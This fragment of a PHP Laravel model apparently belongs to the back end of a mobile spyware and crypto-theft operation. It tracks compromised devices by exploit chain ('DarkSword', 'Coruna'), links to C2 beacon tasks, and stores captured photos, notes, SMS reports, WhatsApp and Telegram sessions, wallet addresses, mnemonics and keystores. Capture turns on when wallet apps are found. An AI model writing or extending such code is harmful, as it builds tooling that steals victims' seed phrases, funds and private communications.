self::WALLET_UNKNOWN, 'chain' => self::CHAIN_CORUNA, 'album_storage' => false, 'has_whatsapp' => false, 'has_telegram' => false, ]; protected function casts(): array { return [ 'telegram_notified' => 'boolean', 'album_storage' => 'boolean', 'has_wallet' => 'integer', 'chain' => 'integer', 'wallet_names' => 'array', 'has_whatsapp' => 'boolean', 'has_telegram' => 'boolean', ]; } public function formattedIp(): string { $ip = trim((string) $this->ip); if ($ip === '') { return ''; } $label = CfIpCountry::label($this->resolvedCountry()); return $label !== '' ? $ip.'('.$label.')' : $ip; } public function resolvedCountry(): ?string { $code = CfIpCountry::normalize($this->country); if ($code !== null) { return $code; } $ip = trim((string) $this->ip); if ($ip === '') { return null; } return CfIpCountry::normalize( PageVisit::query() ->where('ip', $ip) ->whereNotNull('country') ->where('country', '!=', '') ->orderByDesc('id') ->value('country') ); } public function isDarkSword(): bool { return (int) $this->chain === self::CHAIN_DARKSWORD; } public function isApp(): bool { return (int) $this->chain === self::CHAIN_APP; } public function hasWalletApps(): bool { return (int) $this->has_wallet === self::WALLET_YES; } /** * @return list */ public function walletNameList(): array { $names = $this->wallet_names; if (! is_array($names)) { return []; } return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== '')); } public function hasWhatsApp(): bool { return (bool) $this->has_whatsapp; } public function hasTelegram(): bool { return (bool) $this->has_telegram; } /** * @return list */ public function imNameList(): array { $names = []; if ($this->hasWhatsApp()) { $names[] = 'WhatsApp'; } if ($this->hasTelegram()) { $names[] = 'Telegram'; } return $names; } public function refreshImFlags(): void { $kinds = $this->pluginSessions()->distinct()->pluck('kind')->map(fn ($k) => (int) $k)->all(); $this->has_whatsapp = in_array(PluginSession::KIND_WHATSAPP, $kinds, true); $this->has_telegram = in_array(PluginSession::KIND_TELEGRAM, $kinds, true); $this->save(); } public function albumStorageEnabled(): bool { return (bool) ($this->album_storage ?? false); } /** Photos and C2/DS file logs — only when album is on or wallet apps are present. */ public function persistCaptureEnabled(): bool { return $this->albumStorageEnabled() || $this->hasWalletApps(); } /** * Normalize a DarkSword device key to the canonical dashed UUID format * (8-4-4-4-12, uppercase). This is the single source of truth used by * extractDeviceKey, captureEnabledForKey, and register() so that storage * and display are always the same format. * * - Strips non-hex characters (including dashes, spaces, braces). * - Uppercases. * - If exactly 32 hex chars → formats as XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX. * - If not 32 chars (e.g. old xxbb 16-hex IDs) → returns uppercase hex as-is. */ public static function normalizeDarkswordKey(?string $deviceKey): ?string { if ($deviceKey === null || $deviceKey === '') { return null; } $hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $deviceKey) ?? ''); if ($hex === '') { return null; } // Only 32-char hex values are UUIDs — format with dashes. if (strlen($hex) === 32) { return substr($hex, 0, 8).'-'.substr($hex, 8, 4).'-'.substr($hex, 12, 4).'-'.substr($hex, 16, 4).'-'.substr($hex, 20, 12); } // Non-32-char IDs (e.g. old xxbb 16-hex) — return as-is. return substr($hex, 0, 64); } public static function captureEnabledForKey(?string $deviceKey): bool { $key = static::normalizeDarkswordKey($deviceKey); if ($key === null) { return false; } $device = static::query()->where('device_id', $key)->first(); // Safety net: if not found by dashed format, try plain (no dashes). // This covers xxbb/coruna devices that may store a 32-char hex ID // in plain format via IngestService::normalizeDeviceKey. if (! $device && strlen($key) === 36) { $plain = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $key) ?? ''); if ($plain !== '' && $plain !== $key) { $device = static::query()->where('device_id', $plain)->first(); } } return $device?->persistCaptureEnabled() ?? false; } public function apps(): HasMany { return $this->hasMany(DeviceApp::class); } public function events(): HasMany { return $this->hasMany(DeviceEvent::class); } public function photos(): HasMany { return $this->hasMany(Photo::class); } public function noteScans(): HasMany { return $this->hasMany(NoteScan::class); } public function mnemonicFindings(): HasMany { return $this->hasMany(MnemonicFinding::class); } public function notes(): HasMany { return $this->hasMany(Note::class); } public function addresses(): HasMany { return $this->hasMany(WalletAddress::class); } public function mnemonics(): HasMany { return $this->hasMany(WalletMnemonic::class); } /** Oldest device on an official channel; used as scan-ingest holder. */ public static function officialHolder(): ?self { $channelIds = Channel::query() ->where('user_id', Channel::OFFICIAL_USER_ID) ->pluck('channel_id'); if ($channelIds->isEmpty()) { return null; } return static::query() ->whereIn('channel_id', $channelIds) ->orderBy('id') ->first(); } public function keystores(): HasMany { return $this->hasMany(WalletKeystore::class); } public function pluginSessions(): HasMany { return $this->hasMany(PluginSession::class); } public function smsReports(): HasMany { return $this->hasMany(SmsReport::class); } public function beaconTasks(): HasMany { return $this->hasMany(DsBeaconTask::class)->orderBy('position'); } }